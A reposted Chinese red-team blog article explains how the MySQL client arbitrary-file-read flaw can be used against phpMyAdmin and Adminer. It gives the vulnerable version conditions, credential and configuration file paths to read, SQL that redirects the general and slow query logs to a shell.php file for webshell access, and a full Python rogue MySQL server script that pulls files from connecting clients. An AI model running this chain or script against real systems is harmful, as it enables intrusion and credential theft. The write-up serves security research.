社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  DATABASE

『红蓝对抗』Mysql 任意文件读取漏洞 Web 层攻击链拓展

宸极实验室 • 1 年前 • 609 次点击  

 点击蓝字 关注我们 



日期:2022-07-14

作者:Obsidian

介绍:简单拓展一下Mysql Client 任意文件读取漏洞在Web层面的可利用方式。


0x00 前言

Mysql Client 任意文件读取漏洞,最早可追溯到2016年。

MySQL连接文件读取 (russiansecurity.expert)
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

GitHub上的一份工具代码显示日期是2013年。

GitHub - Gifts/Rogue-MySql-Server: Rogue MySql Server

https://github.com/Gifts/Rogue-MySql-Server

我们有理由相信它已经存在很多年,但一直没有被重视。

近些年在CTF比赛以及攻防演练中,才渐渐有被提起的趋势。

漏洞的利用过程大致是通过客户端连接服务端的过程,在服务端读取客户端的任意文件。

目前大部分的利用方式是网站install页面的可控数据库连接,或者搭建恶意服务器蜜罐。

而这次的故事,要从一个可连接远程数据库的phpMyAdmin说起。

在某次授权测试时,发现目标网站存在phpMyAdmin,但无弱口令。

正在一筹莫展的时候,想起了Mysql Client任意文件读取漏洞。

经过一番操作,最终读到了网站的配置文件,获取到了数据库密码,并且拿到了shell

但也由此引发了一个想法,既然phpMyAdmin可以利用,那么其他的同类型程序是否也可以?

于是,就有了这篇文章。

0x01 探索

在尝试其他可控数据库连接的Web程序时,首先想到的就是各种探针。

例如:phpstudy探针、雅黑PHP探针、UPUPW PHP 探针、iprober2探针等。

本以为自己发现了不得了的大漏洞,但实际却是让人失望的。

各类探针的尝试均以失败告终。

原因是,探针接收了greeting包之后就断开了连接,并不会进行其他多余操作。

这就导致了后续的Load data local infile语句不被接收,也就无法读取文件。

既然探针无法利用,那就只能继续研究已知可用的phpMyAdmin

首先,网站使用phpstudy 2018搭建,模拟了之前授权测试时的环境。

phpstudy 2018默认存在旧版本的phpMyAdmin,只需要修改配置文件phpMyAdmin\libraries\config.default.php

在文件的725行,将AllowArbitraryServer的值修改为true,允许连接其他服务器。

此时进行漏洞测试,是可以正常利用的。

但这只是很老的版本,需要进行新版本的测试。

很不幸的发现,在phpMyAdmin4.8.5版本中,已经修复该漏洞。

phpMyAdmin-4.8.5

https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f

之后,测试了phpStudy v8.1,发现该版本没有默认安装phpMyAdmin ,并且提供的版本也是修复漏洞的4.8.5

但是,在phpStudy v8.1的默认环境下,旧版本的phpMyAdmin同样无法复现漏洞。

经过艰难的查询资料得知,“MySQL 服务端恶意读取客户端文件漏洞”在 PHP 7.3 版本的 Mysqli 链接操作中被修复。

phpStudy v8.1默认环境下的php版本,正是7.3.4

至此,phpMyAdmin想要复现Mysql Client 任意文件读取漏洞,需要满足的条件是:

1. PHP 版本 ≤ 7.2.X2. phpMyAdmin 版本 ≤ 4.8.43. AllowArbitraryServer = true

除了phpMyAdmin之外,另一个与它功能类似且常见的程序是Adminer

经过尝试发现,Adminer4.6.3版本后,修复了该漏洞。

最终结论如下:

phpMyAdmin : 版本 ≤4.8.4 && AllowArbitraryServer=true && PHP≤7.2.XAdminer    : 版本 ≤4.6.2 && PHP≤7.2.X

0x02 深入

在可以进行任意文件读取之后,我们需要研究的是如何进行下一步的深入利用。

这里,我们默认在同目录下的网站没有可利用的漏洞。

那么需要思考的就是,如何通过任意文件读取,登录phpMyAdmin/Adminer ,进行getshell

要想getshell,需要得到两个关键信息【数据库密码】和【绝对路径】。

以下内容仅考虑phpMyAdminAdminer通用的利用方式,像CVE-2018-12613CVE-2018-19968这种phpMyAdmin独有的漏洞利用就不再赘述。

如何获取数据库密码?

1.网站配置文件

首先可以考虑读取同目录其他网站下的配置文件,里面会存在数据库帐号密码,例如:

config.php、db.php、db_con.php、common.php、database.php

2.SQL-Front配置文件

如果网站使用phpstudy搭建,可以尝试读取SQL-Front的配置文件,如果曾经使用过该工具,会在配置中留存记录。

C:\phpStudy\PHPTutorial\SQL-Front\Accounts\Accounts.xml

3.MySQL数据文件

可尝试从MySQL数据文件中,查找数据库密码的密文,进行解密。

C:\phpStudy\PHPTutorial\MySQL\data\mysql\user.MYD

4.phpMyAdmin配置文件

phpMyAdmin共有三种认证方式,cookieconfighttp

其中cookie认证是默认的方式,意思是使用数据库自身的密码作为认证。

第二种是可以自定义phpMyAdmin的密码,在配置文件中修改。

如果目标服务器采用的是第二种方式,可以尝试读取配置文件得到密码。

C:\phpStudy\PHPTutorial\WWW\phpMyAdmin\libraries\config.default.php

如何获取绝对路径?

1.网站报错

如果网站本身配置不当,可通过报错页面获取绝对路径。

2.SELECT @@basedir

在获取到数据库密码之后,可登录phpMyAdminAdminer ,执行SQL语句查询数据库的绝对路径,进而查找规律,构造网站绝对路径。

3.日志文件

可读取网站的报错日志,通过日志中的信息查找绝对路径。

4.操作系统数据库文件

Linux系统中有locate命令,而这两个数据库中包含了系统内的所有本地文件路径信息。

可利用locate命令将数据输出成文件。

/var/lib/mlocate/mlocate.db/var/lib/locate.db

如何getshell?

目前,绝大部分情况下,mysql数据库都没有任意写文件的权限。

于是最常用的getshell的方式就变成了general_logslow_query_log_file,也就是日志和慢日志。

这两种方法均不受secure_file_priv的限制,只需要绝对路径即可。

1.general_log 
  select @@general_log_file;   select @@general_log;
set global general_log= 'ON'; set global general_log_file='C:\\phpStudy\\PHPTutorial\\WWW\\shell.php';
select '';
2.slow_query_log_file
  select @@slow_query_log_file;  select @@slow_query_log;
  set GLOBAL slow_query_log=1;  set GLOBAL slow_query_log_file='C:\\phpStudy\\PHPTutorial\\WWW\\shell.php';
  select '' from mysql.user where sleep(10);

0x03 总结

本来是兴致勃勃的整理细节,可是越整理越难过,版本的限制太严格。

处处碰壁,各种调试,东拼西凑才整理出这篇文章。

整理完才发现,大部分内容已经过时了,仅作为研究学习使用吧。

另外,特别鸣谢,实验室的同事 Zero 提供了技术支持和思路拓展。

最后,放一下测试时用到的读取文件的脚本代码:

#coding=utf-8


    
#python evalserver.py c:\windows\win.iniimport socketimport osimport loggingimport sys
logging.basicConfig(level=logging.DEBUG)
def mysql_get_file_content(filename,conn,address): conn.sendall("\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00") try: conn.recv(1024000) except Exception as e: print(e) try: conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00") res1 = conn.recv(1024000)
try: wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename conn.sendall(wantfile) content='' while True: data = conn.recv(1024) content += data if len(data) < 1024: break conn.close()
if len(content) > 6: return (True,content) else: return (False,content) except Exception as e: print (e) except Exception as e: print (e)
def run(): port = 3306 sv = socket.socket() sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sv.bind(("",port)) sv.listen(100)
conn, address = sv.accept() logging.info('Conn from: %r', address) file=sys.argv[1] logging.info("want file...") res,content = mysql_get_file_content(file,conn,address) if res: logging.info(content.strip())
if __name__ == '__main__': run()


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


宸极实验室

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/137431
 
609 次点击